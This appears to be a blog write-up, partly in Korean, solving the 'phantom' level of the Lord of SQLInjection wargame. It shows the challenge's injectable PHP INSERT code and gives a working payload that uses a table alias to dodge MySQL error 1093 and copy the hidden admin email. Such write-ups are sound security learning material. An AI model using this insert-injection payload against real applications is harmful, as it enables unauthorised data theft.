Post

LOS Lv.29 phantom

phantom



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ip	email
127.0.0.1	**************
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("phantom");

  if($_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }

  $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
  }
  echo "</table>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
  highlight_file(__FILE__);
?>



Solution



처음엔 입력을 (select email from prob_phantom where no=1)을 했더니 안나옴.

내 서버에서 해보고 오류난 부분을 알아보니 Mysql Error 1093 You can't specify target table 테이블명 이렇게 나옴.

이는 서브쿼리에 동일한 테이블을 사용할 경우 발생하는 오류임.

MySQL 은 Oracle 과는 달리 UPDATE 나 DELETE 시 자기 테이블의 데이터를 바로 사용 못하므로 1093 에러가 발생함.

해결방법은 테이블에 별명을 지어주면 됨. 따라서 입력값은 다음과 같음.


1
2
3
?joinmail='), (0,'자기 ip주소',(select email from prob_phantom a where no=1)) %23

admin_secure_email@rubiya.kr



This post is licensed under CC BY 4.0 by the author.